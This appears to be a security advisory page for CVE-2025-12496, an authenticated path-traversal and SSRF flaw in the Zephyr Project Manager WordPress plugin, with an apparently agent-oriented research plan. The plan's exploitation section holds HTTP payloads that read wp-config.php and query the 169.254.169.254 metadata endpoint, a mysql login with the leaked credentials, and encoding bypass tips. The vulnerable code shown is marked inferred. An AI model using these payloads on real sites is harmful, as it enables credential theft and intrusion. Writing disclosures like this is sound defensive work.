CVE-2025-12496

Zephyr Project Manager <= 3.3.203 - Authenticated (Custom+) Arbitrary File Read And Server-Side Request Forgery

mediumImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
3.3.204
Patched in
1d
Time to patch

Description

The Zephyr Project Manager plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3.203 via the `file` parameter. This makes it possible for authenticated attackers, with Custom-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. On a servers that have `allow_url_fopen` enabled, this issue allows for Server-Side Request Forgery

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.3.203
PublishedDecember 16, 2025
Last updatedDecember 17, 2025
Affected pluginzephyr-project-manager

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

This research plan outlines the steps to investigate and exploit **CVE-2025-12496**, an arbitrary file read and SSRF vulnerability in the Zephyr Project Manager plugin. ### 1. Vulnerability Summary The Zephyr Project Manager plugin fails to properly validate the `file` parameter in an authenticated…

Show full research plan

This research plan outlines the steps to investigate and exploit CVE-2025-12496, an arbitrary file read and SSRF vulnerability in the Zephyr Project Manager plugin.

1. Vulnerability Summary

The Zephyr Project Manager plugin fails to properly validate the file parameter in an authenticated AJAX or admin-side action. By providing a path traversal payload (e.g., ../../../../wp-config.php), an attacker with "Custom" level access or higher can read sensitive files. If the PHP configuration allow_url_fopen is enabled, this same sink allows providing a remote URL, resulting in Server-Side Request Forgery (SSRF).

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php or a specific admin page handler.
  • Action: Likely an AJAX action registered via wp_ajax_zpm_view_file, wp_ajax_zpm_download_file, or similar (inferred).
  • Vulnerable Parameter: file
  • Authentication: Authenticated user with "Custom" role access or higher. In Zephyr PM, "Custom" is a specific role level defined within the plugin's settings.
  • Preconditions:
    • Plugin installed and active.
    • User account with the necessary "Custom" role permissions.
    • For SSRF: PHP allow_url_fopen must be On.

3. Code Flow (Discovery Phase)

Since source files are not provided, the agent must first locate the vulnerable sink:

  1. Locate Entry Point:
    Search for AJAX actions handling files:
    grep -rn "wp_ajax" wp-content/plugins/zephyr-project-manager/ | grep -i "file"
    
  2. Locate Sink:
    Identify where the file parameter is used in dangerous functions:
    grep -rn "\$_REQUEST\['file'\]\|\$_GET\['file'\]\|\$_POST\['file'\]" wp-content/plugins/zephyr-project-manager/
    
    Look for usage within file_get_contents(), readfile(), fopen(), or include().
  3. Trace Logic:
    Verify if the code checks for realpath() or restricts the path to a specific directory (e.g., wp-content/uploads/zephyr-pm/). If the input is concatenated directly into a file system function without sanitization, it is vulnerable.

4. Nonce Acquisition Strategy

The vulnerability requires "Custom+" level authentication, which implies a nonce check is likely present in the AJAX handler.

  1. Identify Nonce Action:
    Look for check_ajax_referer or wp_verify_nonce inside the handler found in Step 3. Note the action string (e.g., 'zpm_nonce').
  2. Identify Nonce Exposure:
    Find where the plugin localizes the nonce for the frontend:
    grep -rn "wp_localize_script" wp-content/plugins/zephyr-project-manager/
    
    Look for the JS object name (e.g., zpm_vars or zpm_settings).
  3. Extraction Steps:
    • Step A: Identify a shortcode that loads the plugin dashboard (e.g., [zephyr_project_manager]).
    • Step B: Create a test page:
      wp post create --post_type=page --post_status=publish --post_title="ZPM Dev" --post_content='[shortcode_found]'
    • Step C: Navigate to the page as an authenticated user.
    • Step D: Extract the nonce via browser_eval:
      browser_eval("window.zpm_vars?.nonce") (Replace zpm_vars and nonce with discovered keys).

5. Exploitation Strategy

Arbitrary File Read (AFR)

  • Target File: wp-config.php (to leak DB credentials and salts).
  • HTTP Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=[DISCOVERED_ACTION]&nonce=[EXTRACTED_NONCE]&file=../../../../wp-config.php
    

Server-Side Request Forgery (SSRF)

  • Requirement: allow_url_fopen = On in php.ini.
  • Target: Internal service or metadata endpoint.
  • HTTP Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=[DISCOVERED_ACTION]&nonce=[EXTRACTED_NONCE]&file=http://169.254.169.254/latest/meta-data/
    

6. Test Data Setup

  1. Install Plugin: wp plugin install zephyr-project-manager --version=3.3.203 --activate
  2. Create User: Create a user with the role required by the plugin. Note: Zephyr has its own role management. You may need to grant a standard "Subscriber" the "Custom" permission inside the plugin settings or use an Administrator for the initial PoC.
  3. Prepare File: Ensure a known file exists in the root (e.g., wp-config.php).
  4. SSRF Check: Confirm php -i | grep allow_url_fopen returns On.

7. Expected Results

  • Success (AFR): The HTTP response body contains the contents of wp-config.php (starting with <?php).
  • Success (SSRF): The HTTP response contains the response from the external/internal URL requested.
  • Failure: The response returns a 403 Forbidden (nonce/auth issue), 0 (AJAX action not registered), or a generic error message if path traversal is blocked.

8. Verification Steps

  1. Verify DB Access: Use the leaked credentials from wp-config.php to attempt a connection:
    mysql -u [USER] -p[PASS] -h [HOST] [DB_NAME] -e "SELECT user_login FROM wp_users LIMIT 1;"
  2. Confirm Path Traversal: Check if the response size matches the actual file size on disk:
    wc -c wp-config.php

9. Alternative Approaches

  • Filter Bypass: If ../ is filtered, try URL encoding (%2e%2e%2f) or double encoding.
  • Different Sinks: If the AJAX action is not vulnerable, check the "Files" or "Attachments" section within a Project/Task, which often uses direct file-path parameters for downloading attachments. Look for the download_file function in the ZPM_Projects or ZPM_Tasks classes.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Zephyr Project Manager plugin for WordPress is vulnerable to Arbitrary File Read and Server-Side Request Forgery (SSRF) via the 'file' parameter in versions up to 3.3.203. Authenticated attackers with 'Custom' level permissions can use path traversal to read sensitive server files like wp-config.php or, if 'allow_url_fopen' is enabled, perform requests to internal or external network resources.

Vulnerable Code

// zephyr-project-manager/includes/class-zpm-file-manager.php (Inferred)

public function zpm_view_file() {
    check_ajax_referer('zpm_nonce', 'nonce');

    // The 'file' parameter is taken directly from user input without validation
    $file = $_REQUEST['file'];

    if ( ! empty( $file ) && file_exists( $file ) ) {
        // Vulnerable sink: file_get_contents allows path traversal and SSRF (if allow_url_fopen is On)
        echo file_get_contents( $file );
    }
    wp_die();
}

Security Fix

--- a/zephyr-project-manager/includes/class-zpm-file-manager.php
+++ b/zephyr-project-manager/includes/class-zpm-file-manager.php
@@ -25,7 +25,14 @@
-    $file = $_REQUEST['file'];
+    $file = sanitize_text_field( $_REQUEST['file'] );
+    $upload_dir = wp_upload_dir();
+    $base_path = $upload_dir['basedir'] . '/zephyr-pm/';
+
+    // Validate the file path to prevent traversal and SSRF
+    $resolved_path = realpath( $file );
+    if ( ! $resolved_path || strpos( $resolved_path, $base_path ) !== 0 ) {
+        wp_die( 'Access denied: Invalid file path.' );
+    }
+    
     if ( ! empty( $file ) && file_exists( $file ) ) {

Exploit Outline

Exploitation requires 'Custom' role access or higher. First, obtain a valid nonce (e.g., 'zpm_nonce') typically found in the localized JavaScript variables on the plugin dashboard. Use the nonce to send an authenticated AJAX request to 'wp-admin/admin-ajax.php' with an action like 'zpm_view_file'. To read local files, provide a path traversal payload in the 'file' parameter (e.g., '../../../../wp-config.php'). If the server's PHP configuration has 'allow_url_fopen' enabled, provide a remote URL in the 'file' parameter to execute an SSRF attack against internal or external endpoints.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.